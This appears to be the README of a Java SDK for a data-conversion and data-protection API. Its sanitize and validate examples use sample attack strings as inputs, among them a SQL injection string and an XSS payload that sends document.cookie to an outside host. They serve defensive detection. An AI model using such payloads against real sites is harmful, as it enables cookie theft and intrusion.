DevHub API — Java SDK
Introduction
The DevHub Java SDK provides a strongly typed client for interacting with the DevHub API platform.
It simplifies authentication, request handling and error management, allowing developers to integrate DevHub services quickly inside Spring Boot applications, backend services or automation tools.
Installation
Download the SDK from the DevHub website.
1. Download
Download the Java SDK ZIP package from here
2. Extract
Unzip the archive: devhub-sdk-java.zip
3. Install locally with Maven
Run:
mvn clean install
This installs the SDK into your local Maven repository.
Authentication
All API requests require a JWT Token. You can obtain it by creating the client (username and password will be provided after registering on the site):
DevHubClient client = DevHubClient.builder()
.withBasePath("https://devhub-api.com")
.withCredentials("{username_api_client}", "{password_api_client}")
.withAutoRequestId()
.build();
You can also set the request id (UUID format) in order to have a unique identifier for your client.
In this way you can mark every request with the same UUID that uniquely represents your client.
DevHubClient client = DevHubClient.builder()
.withBasePath("https://devhub-api.com")
.withCredentials("{username_api_client}", "{password_api_client}")
.withRequestId(UUID.fromString("{your_UUID_identifier}"))
.build();
Basic Usage
The SDK is organized into modules.
Example:
DevHubClient client = DevHubClient.builder()
.withBasePath("https://devhub-api.com")
.withCredentials("{username_api_client}", "{password_api_client}")
.withAutoRequestId()
.build();
ToolsModule tools = client.tools();
ConvertModule convert = client.convert();
ProtectDataModule protection = client.protectData();
API Examples
Convert Data
ConvertModule convert = client.convert();
//JSON -> CSV
String jsonString =
"[{\"username\":\"alice\",\"age\":28,\"premium\":true},\r\n" +
"{\"username\":\"bob\",\"age\":31,\"premium\":false}]";
String csvString = convert.data()
.jsonToCsv(jsonString)
.delimiter(Delimiter.SEMICOLON)
.quoteChar(QuoteChar.DOUBLE_QUOTE)
.quoteMode(QuoteMode.ALL)
.execute();
//CSV -> JSON
String csvText =
"id;name;age;isActive\r\n" +
"1;Alice;28;true\r\n" +
"2;Bob;00031;false\r\n" +
"3;Charlie;;true";
String row = convert.data()
.csvToJson(csvText)
.delimiter(Delimiter.SEMICOLON)
.quoteMode(QuoteMode.NONE)
.quoteChar(QuoteChar.NONE)
.inferTypes(true)
.trimFields(true)
.execute();
//Markdown -> HTML
String markdown =
"# Hello World\r\n" +
"This is a **Markdown** example.\r\n" +
"- Item 1\r\n" +
"- Item 2";
String html = convert.data().markdownToHtml(markdown);
//we can also apply a theme (LIGHT or DARK)
html = convert.data().markdownToHtml(markdown, Theme.DARK);
//HTML ->️ Markdown
String htmlToMd = "<h1>Hello World</h1>\r\n" +
"<p>This is a <strong>HTML</strong> example.</p>\r\n" +
"<ul>\r\n" +
" <li>Item 1</li>\r\n" +
" <li>Item 2</li>\r\n" +
"</ul>";
String md = convert.data().htmlToMarkdown(htmlToMd);
//JSON -> YAML
String jsonToYaml = "{" +
" \"server\": {\r\n" +
" \"port\": 8080,\r\n" +
" \"compression\": {\r\n" +
" \"enabled\": true,\r\n" +
" \"mime-types\": [\r\n" +
" \"application/json\",\r\n" +
" \"text/html\"\r\n" +
" ]\r\n" +
" }\r\n" +
" },\r\n" +
" \"spring\": {\r\n" +
" \"profiles\": {\r\n" +
" \"active\": \"prod\"\r\n" +
" },\r\n" +
" \"datasource\": {\r\n" +
" \"url\": \"jdbc:postgresql://localhost:5432/app\",\r\n" +
" \"username\": \"app_user\",\r\n" +
" \"password\": \"secret\"\r\n" +
" }\r\n" +
" }\r\n" +
"}";
String yaml = convert.data()
.jsonToYaml(jsonToYaml);
//YAML -> JSON
String yamlToJson = "server:\r\n" +
" port: 8080\r\n" +
" compression:\r\n" +
" enabled: true\r\n" +
" mime-types:\r\n" +
" - application/json\r\n" +
" - text/html";
String json = convert.data().yamlToJson(yamlToJson);
//JSON -> XML
String jsonToXml = "{" +
" \"user\": {\r\n" +
" \"name\": \"Alice\",\r\n" +
" \"age\": 30,\r\n" +
" \"roles\": [\r\n" +
" \"admin\",\r\n" +
" \"editor\"\r\n" +
" ]\r\n" +
" },\r\n" +
" \"active\": true,\r\n" +
" \"createdAt\": \"2025-11-01T12:30:00Z\"\r\n" +
"}";
String xml = convert.data().jsonToXml(jsonToXml);
//we can also set the array mode (WRAPPED or FLAT)
xml = convert.data().jsonToXml(jsonToXml, ArrayMode.WRAPPED);
//XML -> JSON
String xmlToJson = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n" +
"<library>\r\n" +
" <book id=\"1\">\r\n" +
" <title>My favourite book</title>\r\n" +
" <author>J.R.R. Tolkien</author>\r\n" +
" <year>1954</year>\r\n" +
" <price>25.00</price>\r\n" +
" </book>\r\n" +
" <book id=\"2\">\r\n" +
" <title>1984</title>\r\n" +
" <author>George Orwell</author>\r\n" +
" <year>1949</year>\r\n" +
" <price>15.00</price>\r\n" +
" </book>\r\n" +
"</library>\r\n" +
"";
String jsonFromXml = convert.data().xmlToJson(xmlToJson);
Generate UUID
ToolsModule tools = client.tools();
//generate uuids in version 4
UUIDResponse uuidsV4 = tools
.uuid()
.v4()
.count(10)
.generate();
List<String> uuids = uuidsV4.getUuid();
//generate uuid in version 5
UUIDResponse uuidsV5 = tools
.uuid()
.v5()
.namespace("dns")
.name("example.com")
.generate();
String uuid = uuidsV5.getUuid().get(0);
Generate Password
ToolsModule tools = client.tools();
//weak password
String weakPassword = tools
.password()
.weakPassword()
.generate();
//medium password
String mediumPassword = tools
.password()
.mediumPassword()
.generate();
//strong password
String strongPassword = tools
.password()
.strongPassword()
.generate();
//ultra password
String ultraPassword = tools
.password()
.ultraPassword()
.generate();
//custom password
String customPassword = tools
.password()
.customPassword()
.length(12)
.includeLetters(true)
.includeNumbers(false)
.includeSpecials(true)
.exclude("!@#")
.generate();
Reverse Text
ToolsModule tools = client.tools();
String reversed = tools.reverse("DevHub API is really useful!");
Minify CSS
ToolsModule tools = client.tools();
String css = "body { color : red ;}";
String minified = tools.minifyCss(css);
Sanitize Data
ProtectDataModule protection = client.protectData();
//sanitize html
String html = "<p>html example text</p><script>alert(1)</script>";
SanitizationResult htmlSanitized = protection.sanitize(html)
.html()
.mode(SanitizationHtmlMode.STRICT) //for html only, we can optionally set the sanitization mode by choosing between STRICT, RELAXED or HARDENING (default is RELAXED)
.execute();
//sanitize json
String json = "{\"email\":\" john@example.com\",\"name\":\"John \"}"";
SanitizationResult jsonSanitized = protection.sanitize(json)
.json()
.execute();
//sanitize csv
String csv = "=SUM(A1:A2)";
SanitizationResult csvSanitized = protection.sanitize(csv)
.csv()
.execute();
//sanitize log
String log = "User logged in\nERROR: hacked";
SanitizationResult logSanitized = protection.sanitize(log)
.log()
.execute();
In addition to data sanitization, you may also want to perform post-processing operations: for example, you might want to normalize whitespace, convert text to lowercase, or remove personal/sensitive information such as phone number or email address (operations can be performed simultaneously).
/**
*
* In this case we want sanitize HTML and
* make input to lowercase
* normalize whitespaces
* mask mobile number
*/
ProtectDataModule protection = client.protectData();
String input = "<script>alert('XSS Attack')<script><p> phone NUMBER: <b>3201234567</b>EXAMPLE TEXT</p>";
SanitizationResult response = protection.sanitizeHtml(input)
.mode(SanitizationHtmlMode.STRICT)
.lowercase()
.normalizeWhitespace()
.removePii()
.execute();
Validate Data
ProtectDataModule protection = client.protectData();
//validate data by using regex
String input = "New York, NY 10016";
String regex = "^[A-Za-z\\s]+,\\s[A-Z]{2}\\s\\d{5}$";
ValidateResponse validationByRegex = protection.validate(input)
.regex(regex)
.execute();
//validate email address
String email = "johndoe@example.com";
ValidateResponse emailValidation = protection.validate(email)
.email()
.execute();
//validate mobile number
String mobile = "+39 347 1234567";
ValidateResponse mobileValidation = protection.validate(mobile)
.phone()
.execute();
//validate by length
String text = "This is my text";
ValidateResponse textValidation = protection.validate(text)
.minLength(8)
.maxLength(32)
.execute();
//validate text detecting potential sql injection
String firstTextWithSqlInjection = "SELECT * FROM users WHERE username = '\" + user_input + \"' AND password = '\" + pass_input + \"';";
String secondTextWithSqlInjection = "admin' OR 1=1";
ValidateResponse firstTextValidation = protection.validate(firstTextWithSqlInjection)
.noSqlInjection()
.execute();
ValidateResponse secondTextValidation = protection.validate(secondTextWithSqlInjection)
.noSqlInjection()
.execute();
//validate text detecting potential XSS patterns
String textWithXSS = "<script>document.location='http://example-site.com' + document.cookie;</script>";
ValidateResponse xssValidation = protection.validate(textWithXSS)
.noXss()
.execute();
Error Handling
All API errors throw a DevHubClientException if the response code is not 2xx.
Example:
try {
ToolsModule tools = client.tools();
String minified = tools.minifyCss("This is not a valid css, so API returns a bad request");
} catch (DevHubClientException ex) {
DevHubErrorResponse errorResponse = ex.getErrorResponse();
System.out.println(errorResponse.getError());
System.out.println(errorResponse.getRequestId());
System.out.println(errorResponse.getSupportCode());
System.out.println(errorResponse.getPath());
System.out.println(errorResponse.getTimestamp());
}